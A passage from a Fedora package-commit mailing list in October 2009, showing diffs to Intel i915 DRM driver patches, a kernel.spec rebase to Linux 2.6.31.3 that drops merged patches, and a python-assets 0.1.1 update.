@@ -7213,8 +7142,8 @@ index 8df02ef..dafc0da 100644
  /* Private structure for the integrated LVDS support */
  struct intel_lvds_priv {
  	int fitting_mode;
-@@ -336,7 +326,7 @@ static bool intel_lvds_mode_fixup(struct drm_encoder *encoder,
- 	I915_WRITE(BCLRPAT_B, 0);
+@@ -342,7 +332,7 @@ static bool intel_lvds_mode_fixup(struct drm_encoder *encoder,
+ 	}
  
  	switch (lvds_priv->fitting_mode) {
 -	case DRM_MODE_SCALE_NO_SCALE:
@@ -7222,7 +7151,7 @@ index 8df02ef..dafc0da 100644
  		/*
  		 * For centered modes, we have to calculate border widths &
  		 * heights and modify the values programmed into the CRTC.
-@@ -672,9 +662,8 @@ static int intel_lvds_set_property(struct drm_connector *connector,
+@@ -677,9 +667,8 @@ static int intel_lvds_set_property(struct drm_connector *connector,
  				connector->encoder) {
  		struct drm_crtc *crtc = connector->encoder->crtc;
  		struct intel_lvds_priv *lvds_priv = intel_output->dev_priv;
@@ -7234,7 +7163,7 @@ index 8df02ef..dafc0da 100644
  			return 0;
  		}
  		if (lvds_priv->fitting_mode == value) {
-@@ -731,8 +720,7 @@ static const struct drm_encoder_funcs intel_lvds_enc_funcs = {
+@@ -736,8 +725,7 @@ static const struct drm_encoder_funcs intel_lvds_enc_funcs = {
  
  static int __init intel_no_lvds_dmi_callback(const struct dmi_system_id *id)
  {
@@ -7244,7 +7173,7 @@ index 8df02ef..dafc0da 100644
  	return 1;
  }
  
-@@ -1027,7 +1015,7 @@ out:
+@@ -1032,7 +1020,7 @@ out:
  	return;
  
  failed:
@@ -7254,7 +7183,7 @@ index 8df02ef..dafc0da 100644
  		intel_i2c_destroy(intel_output->ddc_bus);
  	drm_connector_cleanup(connector);
 diff --git a/drivers/gpu/drm/i915/intel_sdvo.c b/drivers/gpu/drm/i915/intel_sdvo.c
-index d3b74ba..0bf28ef 100644
+index 66dc1a5..0bf28ef 100644
 --- a/drivers/gpu/drm/i915/intel_sdvo.c
 +++ b/drivers/gpu/drm/i915/intel_sdvo.c
 @@ -37,7 +37,19 @@
@@ -7309,17 +7238,7 @@ index d3b74ba..0bf28ef 100644
  	/*
  	 * supported encoding mode, used to determine whether HDMI is
  	 * supported
-@@ -114,6 +127,9 @@ struct intel_sdvo_priv {
- 	/* DDC bus used by this SDVO output */
- 	uint8_t ddc_bus;
- 
-+	/* Mac mini hack -- use the same DDC as the analog connector */
-+	struct i2c_adapter *analog_ddc_bus;
-+
- 	int save_sdvo_mult;
- 	u16 save_active_outputs;
- 	struct intel_sdvo_dtd save_input_dtd_1, save_input_dtd_2;
-@@ -188,7 +204,7 @@ static bool intel_sdvo_read_byte(struct intel_output *intel_output, u8 addr,
+@@ -191,7 +204,7 @@ static bool intel_sdvo_read_byte(struct intel_output *intel_output, u8 addr,
  		return true;
  	}
  
@@ -7328,7 +7247,7 @@ index d3b74ba..0bf28ef 100644
  	return false;
  }
  
-@@ -298,7 +314,7 @@ static void intel_sdvo_debug_write(struct intel_output *intel_output, u8 cmd,
+@@ -301,7 +314,7 @@ static void intel_sdvo_debug_write(struct intel_output *intel_output, u8 cmd,
  	struct intel_sdvo_priv *sdvo_priv = intel_output->dev_priv;
  	int i;
  
@@ -7337,7 +7256,7 @@ index d3b74ba..0bf28ef 100644
  				SDVO_NAME(sdvo_priv), cmd);
  	for (i = 0; i < args_len; i++)
  		DRM_LOG_KMS("%02X ", ((u8 *)args)[i]);
-@@ -351,7 +367,7 @@ static void intel_sdvo_debug_response(struct intel_output *intel_output,
+@@ -354,7 +367,7 @@ static void intel_sdvo_debug_response(struct intel_output *intel_output,
  	struct intel_sdvo_priv *sdvo_priv = intel_output->dev_priv;
  	int i;
  
@@ -7346,7 +7265,7 @@ index d3b74ba..0bf28ef 100644
  	for (i = 0; i < response_len; i++)
  		DRM_LOG_KMS("%02X ", ((u8 *)response)[i]);
  	for (; i < 8; i++)
-@@ -668,10 +684,10 @@ static int intel_sdvo_get_clock_rate_mult(struct intel_output *intel_output)
+@@ -671,10 +684,10 @@ static int intel_sdvo_get_clock_rate_mult(struct intel_output *intel_output)
  	status = intel_sdvo_read_response(intel_output, &response, 1);
  
  	if (status != SDVO_CMD_STATUS_SUCCESS) {
@@ -7359,7 +7278,7 @@ index d3b74ba..0bf28ef 100644
  	}
  
  	return response;
-@@ -945,23 +961,28 @@ static void intel_sdvo_set_avi_infoframe(struct intel_output *output,
+@@ -948,23 +961,28 @@ static void intel_sdvo_set_avi_infoframe(struct intel_output *output,
  
  static void intel_sdvo_set_tv_format(struct intel_output *output)
  {
@@ -7403,7 +7322,7 @@ index d3b74ba..0bf28ef 100644
  }
  
  static bool intel_sdvo_mode_fixup(struct drm_encoder *encoder,
-@@ -1230,8 +1251,8 @@ static void intel_sdvo_dpms(struct drm_encoder *encoder, int mode)
+@@ -1233,8 +1251,8 @@ static void intel_sdvo_dpms(struct drm_encoder *encoder, int mode)
  		 * a given it the status is a success, we succeeded.
  		 */
  		if (status == SDVO_CMD_STATUS_SUCCESS && !input1) {
@@ -7414,7 +7333,7 @@ index d3b74ba..0bf28ef 100644
  		}
  
  		if (0)
-@@ -1326,8 +1347,8 @@ static void intel_sdvo_restore(struct drm_connector *connector)
+@@ -1329,8 +1347,8 @@ static void intel_sdvo_restore(struct drm_connector *connector)
  			intel_wait_for_vblank(dev);
  		status = intel_sdvo_get_trained_inputs(intel_output, &input1, &input2);
  		if (status == SDVO_CMD_STATUS_SUCCESS && !input1)
@@ -7425,7 +7344,7 @@ index d3b74ba..0bf28ef 100644
  	}
  
  	intel_sdvo_set_active_outputs(intel_output, sdvo_priv->save_active_outputs);
-@@ -1405,7 +1426,7 @@ int intel_sdvo_supports_hotplug(struct drm_connector *connector)
+@@ -1408,7 +1426,7 @@ int intel_sdvo_supports_hotplug(struct drm_connector *connector)
  	u8 response[2];
  	u8 status;
  	struct intel_output *intel_output;
@@ -7434,60 +7353,7 @@ index d3b74ba..0bf28ef 100644
  
  	if (!connector)
  		return 0;
-@@ -1478,6 +1499,36 @@ intel_sdvo_multifunc_encoder(struct intel_output *intel_output)
- 	return (caps > 1);
- }
- 
-+static struct drm_connector *
-+intel_find_analog_connector(struct drm_device *dev)
-+{
-+	struct drm_connector *connector;
-+	struct intel_output *intel_output;
-+
-+	list_for_each_entry(connector, &dev->mode_config.connector_list, head) {
-+		intel_output = to_intel_output(connector);
-+		if (intel_output->type == INTEL_OUTPUT_ANALOG)
-+			return connector;
-+	}
-+	return NULL;
-+}
-+
-+static int
-+intel_analog_is_connected(struct drm_device *dev)
-+{
-+	struct drm_connector *analog_connector;
-+	analog_connector = intel_find_analog_connector(dev);
-+
-+	if (!analog_connector)
-+		return false;
-+
-+	if (analog_connector->funcs->detect(analog_connector) ==
-+			connector_status_disconnected)
-+		return false;
-+
-+	return true;
-+}
-+
- enum drm_connector_status
- intel_sdvo_hdmi_sink_detect(struct drm_connector *connector, u16 response)
- {
-@@ -1488,6 +1539,15 @@ intel_sdvo_hdmi_sink_detect(struct drm_connector *connector, u16 response)
- 
- 	edid = drm_get_edid(&intel_output->base,
- 			    intel_output->ddc_bus);
-+
-+	/* when there is no edid and no monitor is connected with VGA
-+	 * port, try to use the CRT ddc to read the EDID for DVI-connector
-+	 */
-+	if (edid == NULL &&
-+	    sdvo_priv->analog_ddc_bus &&
-+	    !intel_analog_is_connected(intel_output->base.dev))
-+		edid = drm_get_edid(&intel_output->base,
-+				    sdvo_priv->analog_ddc_bus);
- 	if (edid != NULL) {
- 		/* Don't report the output as connected if it's a DVI-I
- 		 * connector with a non-digital EDID coming out.
-@@ -1516,10 +1576,11 @@ static enum drm_connector_status intel_sdvo_detect(struct drm_connector *connect
+@@ -1558,10 +1576,11 @@ static enum drm_connector_status intel_sdvo_detect(struct drm_connector *connect
  	struct intel_output *intel_output = to_intel_output(connector);
  	struct intel_sdvo_priv *sdvo_priv = intel_output->dev_priv;
  
@@ -7501,48 +7367,9 @@ index d3b74ba..0bf28ef 100644
  
  	if (status != SDVO_CMD_STATUS_SUCCESS)
  		return connector_status_unknown;
-@@ -1540,50 +1601,32 @@ static enum drm_connector_status intel_sdvo_detect(struct drm_connector *connect
- static void intel_sdvo_get_ddc_modes(struct drm_connector *connector)
- {
- 	struct intel_output *intel_output = to_intel_output(connector);
-+	struct intel_sdvo_priv *sdvo_priv = intel_output->dev_priv;
-+	int num_modes;
- 
- 	/* set the bus switch and get the modes */
--	intel_ddc_get_modes(intel_output);
-+	num_modes = intel_ddc_get_modes(intel_output);
- 
--#if 0
--	struct drm_device *dev = encoder->dev;
--	struct drm_i915_private *dev_priv = dev->dev_private;
--	/* Mac mini hack.  On this device, I get DDC through the analog, which
--	 * load-detects as disconnected.  I fail to DDC through the SDVO DDC,
--	 * but it does load-detect as connected.  So, just steal the DDC bits
--	 * from analog when we fail at finding it the right way.
-+	/*
-+	 * Mac mini hack.  On this device, the DVI-I connector shares one DDC
-+	 * link between analog and digital outputs. So, if the regular SDVO
-+	 * DDC fails, check to see if the analog output is disconnected, in
-+	 * which case we'll look there for the digital DDC data.
- 	 */
--	crt = xf86_config->output[0];
--	intel_output = crt->driver_private;
--	if (intel_output->type == I830_OUTPUT_ANALOG &&
--	    crt->funcs->detect(crt) == XF86OutputStatusDisconnected) {
--		I830I2CInit(pScrn, &intel_output->pDDCBus, GPIOA, "CRTDDC_A");
--		edid_mon = xf86OutputGetEDID(crt, intel_output->pDDCBus);
--		xf86DestroyI2CBusRec(intel_output->pDDCBus, true, true);
--	}
--	if (edid_mon) {
--		xf86OutputSetEDID(output, edid_mon);
--		modes = xf86OutputGetEDIDModes(output);
--	}
--#endif
--}
-+	if (num_modes == 0 &&
-+	    sdvo_priv->analog_ddc_bus &&
-+	    !intel_analog_is_connected(intel_output->base.dev)) {
-+		struct i2c_adapter *digital_ddc_bus;
+@@ -1610,25 +1629,6 @@ static void intel_sdvo_get_ddc_modes(struct drm_connector *connector)
+ 	}
+ }
  
 -/**
 - * This function checks the current TV format, and chooses a default if
@@ -7554,24 +7381,19 @@ index d3b74ba..0bf28ef 100644
 -	struct intel_sdvo_priv *dev_priv = output->dev_priv;
 -	struct intel_sdvo_tv_format format;
 -	uint8_t status;
-+		/* Switch to the analog ddc bus and try that
-+		 */
-+		digital_ddc_bus = intel_output->ddc_bus;
-+		intel_output->ddc_bus = sdvo_priv->analog_ddc_bus;
- 
+-
 -	intel_sdvo_write_cmd(output, SDVO_CMD_GET_TV_FORMAT, NULL, 0);
 -	status = intel_sdvo_read_response(output, &format, sizeof(format));
 -	if (status != SDVO_CMD_STATUS_SUCCESS)
 -		return;
-+		(void) intel_ddc_get_modes(intel_output);
- 
+-
 -	memcpy(&dev_priv->tv_format, &format, sizeof(format));
-+		intel_output->ddc_bus = digital_ddc_bus;
-+	}
- }
- 
+-}
+-
  /*
-@@ -1656,17 +1699,26 @@ static void intel_sdvo_get_tv_modes(struct drm_connector *connector)
+  * Set of SDVO TV modes.
+  * Note!  This is in reply order (see loop in get_tv_modes).
+@@ -1699,17 +1699,26 @@ static void intel_sdvo_get_tv_modes(struct drm_connector *connector)
  	struct intel_output *output = to_intel_output(connector);
  	struct intel_sdvo_priv *sdvo_priv = output->dev_priv;
  	struct intel_sdvo_sdtv_resolution_request tv_res;
@@ -7603,7 +7425,7 @@ index d3b74ba..0bf28ef 100644
  	intel_sdvo_write_cmd(output, SDVO_CMD_GET_SDTV_RESOLUTION_SUPPORT,
  			     &tv_res, sizeof(tv_res));
  	status = intel_sdvo_read_response(output, &reply, 3);
-@@ -1681,6 +1733,7 @@ static void intel_sdvo_get_tv_modes(struct drm_connector *connector)
+@@ -1724,6 +1733,7 @@ static void intel_sdvo_get_tv_modes(struct drm_connector *connector)
  			if (nmode)
  				drm_mode_probed_add(connector, nmode);
  		}
@@ -7611,14 +7433,7 @@ index d3b74ba..0bf28ef 100644
  }
  
  static void intel_sdvo_get_lvds_modes(struct drm_connector *connector)
-@@ -1748,17 +1801,62 @@ static void intel_sdvo_destroy(struct drm_connector *connector)
- 		intel_i2c_destroy(intel_output->i2c_bus);
- 	if (intel_output->ddc_bus)
- 		intel_i2c_destroy(intel_output->ddc_bus);
-+	if (sdvo_priv->analog_ddc_bus)
-+		intel_i2c_destroy(sdvo_priv->analog_ddc_bus);
- 
- 	if (sdvo_priv->sdvo_lvds_fixed_mode != NULL)
+@@ -1798,12 +1808,55 @@ static void intel_sdvo_destroy(struct drm_connector *connector)
  		drm_mode_destroy(connector->dev,
  				 sdvo_priv->sdvo_lvds_fixed_mode);
  
@@ -7674,7 +7489,7 @@ index d3b74ba..0bf28ef 100644
  static const struct drm_encoder_helper_funcs intel_sdvo_helper_funcs = {
  	.dpms = intel_sdvo_dpms,
  	.mode_fixup = intel_sdvo_mode_fixup,
-@@ -1773,6 +1871,7 @@ static const struct drm_connector_funcs intel_sdvo_connector_funcs = {
+@@ -1818,6 +1871,7 @@ static const struct drm_connector_funcs intel_sdvo_connector_funcs = {
  	.restore = intel_sdvo_restore,
  	.detect = intel_sdvo_detect,
  	.fill_modes = drm_helper_probe_single_connector_modes,
@@ -7682,7 +7497,7 @@ index d3b74ba..0bf28ef 100644
  	.destroy = intel_sdvo_destroy,
  };
  
-@@ -2013,10 +2112,9 @@ intel_sdvo_output_setup(struct intel_output *intel_output, uint16_t flags)
+@@ -2058,10 +2112,9 @@ intel_sdvo_output_setup(struct intel_output *intel_output, uint16_t flags)
  
  		sdvo_priv->controlled_output = 0;
  		memcpy(bytes, &sdvo_priv->caps.output_flags, 2);
@@ -7696,7 +7511,7 @@ index d3b74ba..0bf28ef 100644
  		ret = false;
  	}
  	intel_output->crtc_mask = (1 << 0) | (1 << 1);
-@@ -2029,6 +2127,55 @@ intel_sdvo_output_setup(struct intel_output *intel_output, uint16_t flags)
+@@ -2074,6 +2127,55 @@ intel_sdvo_output_setup(struct intel_output *intel_output, uint16_t flags)
  
  }
  
@@ -7752,7 +7567,7 @@ index d3b74ba..0bf28ef 100644
  bool intel_sdvo_init(struct drm_device *dev, int output_device)
  {
  	struct drm_connector *connector;
-@@ -2066,18 +2213,22 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
+@@ -2111,8 +2213,7 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
  	/* Read the regs to test if we can talk to the device */
  	for (i = 0; i < 0x40; i++) {
  		if (!intel_sdvo_read_byte(intel_output, i, &ch[i])) {
@@ -7762,24 +7577,7 @@ index d3b74ba..0bf28ef 100644
  					output_device == SDVOB ? 'B' : 'C');
  			goto err_i2c;
  		}
- 	}
- 
- 	/* setup the DDC bus. */
--	if (output_device == SDVOB)
-+	if (output_device == SDVOB) {
- 		intel_output->ddc_bus = intel_i2c_create(dev, GPIOE, "SDVOB DDC BUS");
--	else
-+		sdvo_priv->analog_ddc_bus = intel_i2c_create(dev, GPIOA,
-+						"SDVOB/VGA DDC BUS");
-+	} else {
- 		intel_output->ddc_bus = intel_i2c_create(dev, GPIOE, "SDVOC DDC BUS");
-+		sdvo_priv->analog_ddc_bus = intel_i2c_create(dev, GPIOA,
-+						"SDVOC/VGA DDC BUS");
-+	}
- 
- 	if (intel_output->ddc_bus == NULL)
- 		goto err_i2c;
-@@ -2090,7 +2241,7 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
+@@ -2140,7 +2241,7 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
  
  	if (intel_sdvo_output_setup(intel_output,
  				    sdvo_priv->caps.output_flags) != true) {
@@ -7788,7 +7586,7 @@ index d3b74ba..0bf28ef 100644
  			  output_device == SDVOB ? 'B' : 'C');
  		goto err_i2c;
  	}
-@@ -2111,6 +2262,8 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
+@@ -2161,6 +2262,8 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
  	drm_encoder_helper_add(&intel_output->enc, &intel_sdvo_helper_funcs);
  
  	drm_mode_connector_attach_encoder(&intel_output->base, &intel_output->enc);
@@ -7797,7 +7595,7 @@ index d3b74ba..0bf28ef 100644
  	drm_sysfs_connector_add(connector);
  
  	intel_sdvo_select_ddc_bus(sdvo_priv);
-@@ -2123,7 +2276,7 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
+@@ -2173,7 +2276,7 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
  					       &sdvo_priv->pixel_clock_max);
  
  
@@ -7806,17 +7604,8 @@ index d3b74ba..0bf28ef 100644
  			"clock range %dMHz - %dMHz, "
  			"input 1: %c, input 2: %c, "
  			"output 1: %c, output 2: %c\n",
-@@ -2143,6 +2296,8 @@ bool intel_sdvo_init(struct drm_device *dev, int output_device)
- 	return true;
- 
- err_i2c:
-+	if (sdvo_priv->analog_ddc_bus != NULL)
-+		intel_i2c_destroy(sdvo_priv->analog_ddc_bus);
- 	if (intel_output->ddc_bus != NULL)
- 		intel_i2c_destroy(intel_output->ddc_bus);
- 	if (intel_output->i2c_bus != NULL)
 diff --git a/drivers/gpu/drm/i915/intel_tv.c b/drivers/gpu/drm/i915/intel_tv.c
-index 2fbe13a..a6c686c 100644
+index 5b1c9e9..c64eab4 100644
 --- a/drivers/gpu/drm/i915/intel_tv.c
 +++ b/drivers/gpu/drm/i915/intel_tv.c
 @@ -1437,6 +1437,35 @@ intel_tv_detect_type (struct drm_crtc *crtc, struct intel_output *intel_output)


Index: kernel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/kernel.spec,v
retrieving revision 1.1852
retrieving revision 1.1853
diff -u -p -r1.1852 -r1.1853
--- kernel.spec	8 Oct 2009 05:56:22 -0000	1.1852
+++ kernel.spec	8 Oct 2009 18:49:27 -0000	1.1853
@@ -40,7 +40,7 @@ Summary: The Linux kernel
 %if 0%{?released_kernel}
 
 # Do we have a -stable update to apply?
-%define stable_update 1
+%define stable_update 3
 # Is it a -stable RC?
 %define stable_rc 0
 # Set rpm version accordingly
@@ -630,7 +630,6 @@ Patch260: linux-2.6-debug-nmi-timeout.pa
 Patch270: linux-2.6-debug-taint-vm.patch
 Patch280: linux-2.6-debug-spinlock-taint.patch
 Patch300: linux-2.6-driver-level-usb-autosuspend.diff
-Patch301: linux-2.6-fix-usb-serial-autosuspend.diff
 Patch302: linux-2.6-qcserial-autosuspend.diff
 Patch303: linux-2.6-bluetooth-autosuspend.diff
 Patch304: linux-2.6-usb-uvc-autosuspend.diff
@@ -666,13 +665,6 @@ Patch611: alsa-tell-user-that-stream-to-
 Patch670: linux-2.6-ata-quirk.patch
 Patch671: linux-2.6-ahci-export-capabilities.patch
 
-Patch680: linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
-Patch681: linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
-Patch682: linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
-Patch683: linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
-Patch684: linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
-Patch685: linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
-Patch686: linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
 Patch687: linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
 Patch700: linux-2.6.31-nx-data.patch
@@ -682,8 +674,6 @@ Patch800: linux-2.6-crash-driver.patch
 
 Patch900: linux-2.6-pci-cacheline-sizing.patch
 
-Patch1000: linux-2.6.31-cpufreq-powernow-k8-oops.patch
-
 Patch1100: linux-2.6.31-cpuidle-faster-io.patch
 
 Patch1515: lirc-2.6.31.patch
@@ -695,11 +685,7 @@ Patch1550: linux-2.6-ksm.patch
 Patch1551: linux-2.6-ksm-kvm.patch
 Patch1552: linux-2.6-ksm-updates.patch
 Patch1553: linux-2.6-ksm-fix-munlock.patch
-Patch1578: linux-2.6-xen-stack-protector-fix.patch
 Patch1579: linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
-Patch1580: linux-2.6-xen-check-efer-fix.patch
-Patch1581: linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
-Patch1582: linux-2.6-xen-spinlock-stronger-barrier.patch
 Patch1583: linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
 Patch1584: linux-2.6-xen-improvement-to-wait_for_devices.patch
 Patch1585: linux-2.6-xen-increase-device-connection-timeout.patch
@@ -1238,7 +1224,6 @@ ApplyPatch linux-2.6-nfs4-ver4opt.patch
 
 # USB
 ApplyPatch linux-2.6-driver-level-usb-autosuspend.diff
-ApplyPatch linux-2.6-fix-usb-serial-autosuspend.diff
 ApplyPatch linux-2.6-qcserial-autosuspend.diff
 ApplyPatch linux-2.6-bluetooth-autosuspend.diff
 ApplyPatch linux-2.6-usb-uvc-autosuspend.diff
@@ -1320,18 +1305,9 @@ ApplyPatch linux-2.6-ata-quirk.patch
 # Make it possible to identify non-hotplug SATA ports
 ApplyPatch linux-2.6-ahci-export-capabilities.patch
 
-# iwl1000 support patches
-ApplyPatch linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
-ApplyPatch linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
-ApplyPatch linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
-ApplyPatch linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
-ApplyPatch linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
-ApplyPatch linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
+# iwlagn quiet
 ApplyPatch linux-2.6-iwlwifi-reduce-noise-when-skb-allocation-fails.patch
 
-# remove support for deprecated iwl6000 parts
-ApplyPatch linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
-
 # Mark kernel data as NX
 ApplyPatch linux-2.6.31-nx-data.patch
 # Apply NX/RO to modules
@@ -1344,9 +1320,6 @@ ApplyPatch linux-2.6-crash-driver.patch
 # Determine cacheline sizes in a generic manner.
 ApplyPatch linux-2.6-pci-cacheline-sizing.patch
 
-# fix upstream bug #13780
-ApplyPatch linux-2.6.31-cpufreq-powernow-k8-oops.patch
-
 # cpuidle: Fix the menu governor to boost IO performance
 ApplyPatch linux-2.6.31-cpuidle-faster-io.patch
 
@@ -1365,18 +1338,12 @@ ApplyPatch linux-2.6-ksm-fix-munlock.pat
 ApplyPatch linux-2.6-ksm-kvm.patch
 
 # Assorted Virt Fixes
-ApplyPatch linux-2.6-xen-stack-protector-fix.patch
 ApplyPatch linux-2.6-virtio_blk-revert-QUEUE_FLAG_VIRT-addition.patch
-ApplyPatch linux-2.6-xen-check-efer-fix.patch
 ApplyPatch linux-2.6-xen-fix-is_disconnected_device-exists_disconnected_device.patch
 ApplyPatch linux-2.6-xen-improvement-to-wait_for_devices.patch
 ApplyPatch linux-2.6-xen-increase-device-connection-timeout.patch
 ApplyPatch linux-2.6-virtio_blk-add-support-for-cache-flush.patch
 
-# improve xen spinlock scalability
-ApplyPatch linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
-ApplyPatch linux-2.6-xen-spinlock-stronger-barrier.patch
-
 # Fix block I/O errors in KVM
 ApplyPatch linux-2.6-block-silently-error-unsupported-empty-barriers-too.patch
 
@@ -2079,6 +2046,24 @@ fi
 # and build.
 
 %changelog
+* Thu Oct 08 2009 Kyle McMartin <kyle at redhat.com> 2.6.31.3-67
+- Linux 2.6.31.3
+- rebase drm-next trivially.
+- dropped merged upstream patches,
+ - linux-2.6-fix-usb-serial-autosuspend.diff
+ - linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch
+ - linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch
+ - linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch
+ - linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch
+ - linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch
+ - linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch
+ - linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch
+ - linux-2.6-xen-check-efer-fix.patch
+ - linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch
+ - linux-2.6-xen-spinlock-stronger-barrier.patch
+ - linux-2.6-xen-stack-protector-fix.patch
+ - linux-2.6.31-cpufreq-powernow-k8-oops.patch
+
 * Thu Oct 08 2009 Ben Skeggs <bskeggs at redhat.com>
 - ppc: compile nvidiafb as a module only, nvidiafb+nouveau = bang! (rh#491308)
 


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/sources,v
retrieving revision 1.1085
retrieving revision 1.1086
diff -u -p -r1.1085 -r1.1086
--- sources	24 Sep 2009 19:48:12 -0000	1.1085
+++ sources	8 Oct 2009 18:49:28 -0000	1.1086
@@ -1,2 +1,2 @@
 84c077a37684e4cbfa67b18154390d8a  linux-2.6.31.tar.bz2
-43977a0a264dd7d173b6ef122c62fb20  patch-2.6.31.1.bz2
+24d60ad6645211e2c08dc1c1c578b249  patch-2.6.31.3.bz2


Index: upstream
===================================================================
RCS file: /cvs/pkgs/rpms/kernel/F-12/upstream,v
retrieving revision 1.999
retrieving revision 1.1000
diff -u -p -r1.999 -r1.1000
--- upstream	24 Sep 2009 19:48:13 -0000	1.999
+++ upstream	8 Oct 2009 18:49:28 -0000	1.1000
@@ -1,2 +1,2 @@
 linux-2.6.31.tar.bz2
-patch-2.6.31.1.bz2
+patch-2.6.31.3.bz2


--- linux-2.6-fix-usb-serial-autosuspend.diff DELETED ---


--- linux-2.6-iwlagn-modify-digital-SVR-for-1000.patch DELETED ---


--- linux-2.6-iwlwifi-Handle-new-firmware-file-with-ucode-build-number-in-header.patch DELETED ---


--- linux-2.6-iwlwifi-fix-debugfs-buffer-handling.patch DELETED ---


--- linux-2.6-iwlwifi-fix-unloading-driver-while-scanning.patch DELETED ---


--- linux-2.6-iwlwifi-remove-deprecated-6000-series-adapters.patch DELETED ---


--- linux-2.6-iwlwifi-traverse-linklist-to-find-the-valid-OTP-block.patch DELETED ---


--- linux-2.6-iwlwifi-update-1000-series-API-version-to-match-firmware.patch DELETED ---


--- linux-2.6-xen-check-efer-fix.patch DELETED ---


--- linux-2.6-xen-spinlock-enable-interrupts-only-when-blocking.patch DELETED ---


--- linux-2.6-xen-spinlock-stronger-barrier.patch DELETED ---


--- linux-2.6-xen-stack-protector-fix.patch DELETED ---


--- linux-2.6.31-cpufreq-powernow-k8-oops.patch DELETED ---


--- patch-2.6.31.1.bz2.sign DELETED ---



From jderose at fedoraproject.org  Thu Oct  8 18:51:54 2009
From: jderose at fedoraproject.org (Jason DeRose)
Date: Thu,  8 Oct 2009 18:51:54 +0000 (UTC)
Subject: rpms/python-assets/devel .cvsignore, 1.2, 1.3 import.log, 1.1,
	1.2 python-assets.spec, 1.1, 1.2 sources, 1.2, 1.3
Message-ID: <20091008185154.DE10F11C00DB@cvs1.fedora.phx.redhat.com>

Author: jderose

Update of /cvs/pkgs/rpms/python-assets/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1558/devel

Modified Files:
	.cvsignore import.log python-assets.spec sources 
Log Message:



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/.cvsignore,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- .cvsignore	25 Sep 2009 19:06:28 -0000	1.2
+++ .cvsignore	8 Oct 2009 18:51:54 -0000	1.3
@@ -1 +1 @@
-assets-0.1.0.tar.gz
+assets-0.1.1.tar.gz


Index: import.log
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/import.log,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- import.log	25 Sep 2009 19:06:28 -0000	1.1
+++ import.log	8 Oct 2009 18:51:54 -0000	1.2
@@ -1 +1,2 @@
 python-assets-0_1_0-1_fc11:HEAD:python-assets-0.1.0-1.fc11.src.rpm:1253905376
+python-assets-0_1_1-1_fc11:HEAD:python-assets-0.1.1-1.fc11.src.rpm:1255027842


Index: python-assets.spec
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/python-assets.spec,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- python-assets.spec	25 Sep 2009 19:06:28 -0000	1.1
+++ python-assets.spec	8 Oct 2009 18:51:54 -0000	1.2
@@ -1,7 +1,7 @@
 %{!?python_sitelib: %global python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
 
 Name:           python-assets
-Version:        0.1.0
+Version:        0.1.1
 Release:        1%{?dist}
 Summary:        Cache-friendly asset management via content-hash-naming
 
@@ -44,5 +44,8 @@ rm -rf $RPM_BUILD_ROOT
 %{python_sitelib}/assets-%{version}-py2.6.egg-info
 
 %changelog
+* Tue Sep 29 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.1-1
+- New release
+
 * Tue Sep 22 2009 Jason Gerard DeRose <jderose at redhat.com> - 0.1.0-1
 - Initial package


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-assets/devel/sources,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- sources	25 Sep 2009 19:06:28 -0000	1.2
+++ sources	8 Oct 2009 18:51:54 -0000	1.3
@@ -1 +1 @@
-fbb3736161c8239d187aeb52262bddea  assets-0.1.0.tar.gz
+bd0d5d45cfffb541655ca9dc8657e19f  assets-0.1.1.tar.gz



From clumens at fedoraproject.org  Thu Oct  8 18:55:02 2009
From: clumens at fedoraproject.org (Christopher Edward Lumens)
Date: Thu,  8 Oct 2009 18:55:02 +0000 (UTC)
